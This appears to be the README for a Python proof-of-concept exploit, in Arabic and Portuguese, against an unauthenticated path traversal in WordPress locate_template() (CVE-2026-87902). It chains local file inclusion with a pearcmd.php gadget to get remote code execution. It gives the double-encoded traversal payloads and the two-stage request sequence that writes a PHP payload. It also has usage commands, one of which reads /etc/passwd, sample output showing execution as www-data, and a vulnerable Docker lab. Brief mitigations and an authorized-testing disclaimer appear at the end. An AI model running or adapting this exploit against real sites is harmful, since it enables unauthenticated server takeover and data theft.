
Python PoC يستغل CVE-2026-87902، وهو اجتياز مسار غير مصادق عليه في WordPress locate_template() يؤدي إلى LFI وRCE قائم على PEAR، مع وضع كشف آمن.
ملف الاستغلال: exploit_locate_template_rce.py —
Python 3.6+ (stdlib فقط).
خط أنابيب بأمر واحد: كشف آمن (تفاضلي LFI، بدون كتابة) →،
إذا كان معرّضًا للثغرة، RCE عبر gadget pearcmd.php ينفّذ الأمر الذي تختاره
(--command/-c). استخدم --validate-only للتوقف قبل مرحلة الكتابة.
يختبر CVE-2026-87902 في إصدارات WordPress
بدون إصلاح الـ commit 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2، backports حتى 4.7.37).
| CVE | CVE-2026-87902 (CWE-98، CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| المتأثرة | WordPress 4.7.0 – 7.1.1 (جميع الفروع) |
| الإصلاح | 7.1.2، 7.0.6، 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (merge للـ changeset 63792) |
| الملفات | wp-includes/template.php (get_page_template()، locate_template()، _wp_is_template_path_allowed()) |
| المصادقة | لا شيء — لا مستخدم، لا cookie، لا nonce، لا plugin |
| الاعتمادات | الاكتشاف والإفصاح: Robert Ressl |
⚠️ للاختبار المُصرَّح به فقط. استخدمه في بيئات تتحكم بها (المختبر أدناه معزول) أو بتصريح صريح من المالك.
في الإصدارات بدون الإصلاح، التسلسل get_page_template() → locate_template() →
template-loader لا يضمن أبدًا أن القالب المختار يبقى داخل القالب (theme).
قبل الإصلاح (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
بعد الإصلاح (commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename و page_id هما query vars عامة — يُقبلان في body طلب POST مجهول.
طريقة POST تجعل redirect_canonical() (canonical.php) يعود مبكرًا — فهو يعمل
فقط في GET/HEAD، لذا لا يتم إعادة توجيه أي شيء.templates%252f%252e%252e%252f...) وينجو من
sanitize: WP_Query::get_posts() (سطر 2191) يعيد كتابة pagename بـ
sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() لا ينكسر عند %2F
(formatting.php سطر 5768) و sanitize يحافظ على octets %XX (سطر 2395).page_id (سطر 2252) يستبدل WHERE ("$where ="، وليس ".=") — الصفحة الحقيقية
تُحمَّل، بدون 404، ويبقى pagename الخبيث في كائن الاستعلام.get_page_template() يقوم بـ urldecode() متأخر ويبني page-<traversal>.php
بدون validate_file().locate_template() قبل الترقيع يستدعي فقط file_exists() → الـ include يهرب من القالب.| # | الشرط المسبق | السبب |
|---|---|---|
| 1 | صفحة منشورة، متاحة مجهولًا، قابلة للاختيار عبر page_id وبدون custom template | يجب أن يُحلّ الطلب إلى Page؛ القالب المخصص سيأتي قبلها في التسلسل الهرمي |
| 2 | دليل top-level في القالب النشط (child أو parent) يبدأ بـ page- (مثل: page-templates/) | WP يضيف البادئة الثابتة page-؛ عبرها يدخل الـ traversal. يكفي وجوده وأن يكون قابلًا للاجتياز (يمكن أن يكون فارغًا). موجود في Twenty Twelve/Fourteen، Neve، Hestia، Sydney |
| 3 | هدف .php محلي موجود وقابل للقراءة | الـ loader يضيف .php ويتحقق من is_file()/is_readable() |
| 4 | (فقط لـ RCE) pearcmd.php قابل للقراءة + register_argc_argv=On + دليل قابل للكتابة (مثل: /tmp) | مسار PEAR→RCE: config-create يكتب payload الـ PHP على الخادم |
ثلاثة POSTs مجهولة ضد الصفحة المنشورة — بدون كتابة على القرص:
| الطلب | pagename | الاستجابة المتوقعة (معرّض) |
|---|---|---|
| A — baseline | — | 200، body عادي (~23 KB) |
| B — تحكم | traversal → ملف غير موجود | 200، body عادي (fallback page.php) |
| C — probe | traversal → wp-content/index.php ("Silence is golden") | 200 مع body فارغ |
التوقيع: C فارغ + A/B عاديان ⇒ الـ include هرب من القالب ⇒ معرّض للثغرة.
الكشف يمسح تلقائيًا: أدلة القالب المرشحة
(page-templates، page-template) × أعماق 1–12.
النتيجة (theme-dir + depth) تغذّي مرحلة RCE.
مع --validate-only يتوقف السكربت هنا (exit 0 إذا كان معرّضًا).
pearcmd.php (كتابة)Estágio 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ o traversal inclui /usr/local/lib/php/pearcmd.php
→ argv vem da query string crua (register_argc_argv=On)
→ config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)
Estágio 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data
تفاصيل التنسيق (كل القيود يتعامل معها السكربت):
page_id + pagename؛ الـ query string تحمل
حصريًا argv الخاص بـ PEAR (?+config-create+<root>+<out>).wp_magic_quotes() (load.php سطر 1290) يطبّق
add_magic_quotes($_SERVER) و pearcmd يقرأ argv من $_SERVER['argv'] — أي
علامة اقتباس ستصبح \' وتكسر الملف المُنشأ. كل string في PHP يصبح تسلسل
chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): البايتات الخام +، <، > في الـ query
string هي argv — لا يمكن إعادة كتابة/ترميز أي شيء في المسار.config-create يتطلب root path مطلق — الـ payload يُحقن كـ root نفسه
(/<php>)، مسبوقًا بعلامة ___WP_RCE_OK___ التي تحدّد المخرجات.pearcmd.php (Docker الرسمي، Debian/Ubuntu، XAMPP) — اضبط بـ
--pear-path/--output إذا لزم الأمر.لا يوجد "upload": هدف الكشف هو ملف يأتي مع كل WordPress من المصنع
(wp-content/index.php)؛ payload الـ RCE يكتبه الخادم نفسه عبر
gadget PEAR، يعمل كـ www-data.
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"
# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose
| المعامل | الافتراضي | الوصف |
|---|---|---|
--url, -u | (إلزامي) | عنوان URL الأساسي لـ WordPress |
--command, -c | id | أمر shell يُنفَّذ على الهدف (يُتجاهل مع --validate-only) |
--validate-only | off | يتحقق فقط من الثغرة (LFI، يتوقف قبل RCE/الكتابة) |
--page-id | auto (REST، fallback probe) | معرّف صفحة منشورة بدون custom template |
--theme-dir | يجرّب page-templates، page-template | دليل top-level للقالب يبدأ بـ page- |
--probe-target | index | هدف probe الكشف، بدون .php (index → wp-content/index.php) |
--depth | 0 (يمسح 1–12) | عدد مقاطع ../ |
--pear-path | يجرّب قائمة داخلية | pearcmd.php لمرحلة RCE، بدون .php (Docker، Debian، XAMPP) |
--output | /tmp/wp-pear-rce | وجهة قابلة للكتابة لـ payload الـ PEAR، بدون .php |
--timeout | 20 | مهلة لكل طلب (ث) |
--insecure | off | عدم التحقق من شهادة TLS |
--verbose | off | مخرجات مفصّلة لكل محاولة |
[*] alvo : http://127.0.0.1:8080
[*] comando : 'id'
[*] versão WP : 7.1.1 (<= 7.1.1 => potencialmente afetada)
[*] page id : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir : page-templates
[+] depth : 3
[+] traversal : page-templates/../../../index.php
[+] VULNERÁVEL : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo : RCE (2 estágios via pearcmd.php)
[+] theme dir : page-templates
[+] depth : 7
[+] pearcmd : /usr/local/lib/php/pearcmd.php
[+] payload file : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando : 'id'
[+] saída :
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web
أكواد الخروج: 0 = تم التحقق/RCE بنجاح · 1 = غير مؤكد/فشل ·
2 = خطأ (مثل: لم يتم العثور على صفحة منشورة). يصلح كفحص انحدار:
في WordPress ≥ 7.1.2 لا يصبح الـ probe فارغًا أبدًا ويعيد 1.
المختبر المستخدم: docker-compose.yml.
services:
db:
image: mariadb:11
restart: always
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wp_user
MYSQL_PASSWORD: wp_pass
MYSQL_ROOT_PASSWORD: root_pass
volumes:
- db_data:/var/lib/mysql
wordpress:
image: wordpress:7.1.1-php8.3-apache # PINADA — a rolling baixa 7.1.2+ (patcheada!)
depends_on:
- db
restart: always
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wp_user
WORDPRESS_DB_PASSWORD: wp_pass
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_data:/var/www/html
# fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
- ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates
volumes:
db_data:
wp_data:
docker compose up -d
# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
-e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
-e WORDPRESS_DB_NAME=wordpress `
wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
--admin_user=admin --admin_password=adminadmin [email protected] --skip-email
# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"
# Teardown
docker compose down -v
لماذا تهم كل قطعة:
7.1.1-php8.3: يجب أن يكون < 7.1.2 و php8.3 — في PHP 8.5،
register_argc_argv يصبح افتراضيًا Off في SAPI HTTP و PEAR خرج من التوزيع،
لذا مرحلة RCE لا تعمل (كشف LFI يعمل).wordpress:php8.3-apache اليوم ينزّل 7.1.2+ (مُرقَّع) و
الاستغلال يفشل بشكل صحيح.wp_data يحتفظ بالـ core؛ تغيير الـ tag يتطلب
docker compose down -v ليعيد entrypoint نسخ ملفات الصورة الجديدة.page-templates/ (fixture): القوالب الافتراضية (Twenty Twenty-*) لا تحتوي على دليل
page-* — بدونه لا تُحلّ البادئة الثابتة page- أبدًا ولا يعمل أي depth.
بديل عن bind mount: command: > مع
sh -c "mkdir -p .../page-templates && exec apache2-foreground".register_argc_argv=On: الصورة الرسمية لا تحمّل php.ini للويب، لذا يسري
الافتراضي المُترجَم (On في php8.3). تحقق: docker exec <c> php -i | grep argc.page-templates/ → 3×.. → wp-content/)؛
PEAR يصيب عند 7 (→ / → /usr/local/lib/php/pearcmd.php).page-*، صفحة بـ custom template،
open_basedir، WAF/proxy يحجب الـ traversal، page_id غير صالح).register_argc_argv=Off
لـ SAPIs الويب؛ إزالة pearcmd.php القابل للقراءة في الإنتاج؛ تدقيق القوالب بحثًا عن
أدلة page-* top-level؛ التنبيه في السجلات عند pagename يحتوي %252f/%252e
(مزدوج الترميز)..php قابل للقراءة ومفيد يمكن
أن يكون هدف LFI (الكشف عبر --probe-target).5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792هذه المادة مُقدَّمة فقط لأبحاث واختبارات الأمن المُصرَّح بها. الاستخدام ضد أنظمة بدون إذن صريح من المالك غير قانوني. تم تطوير الاستغلال والتحقق منه حصريًا في مختبر محلي معزول.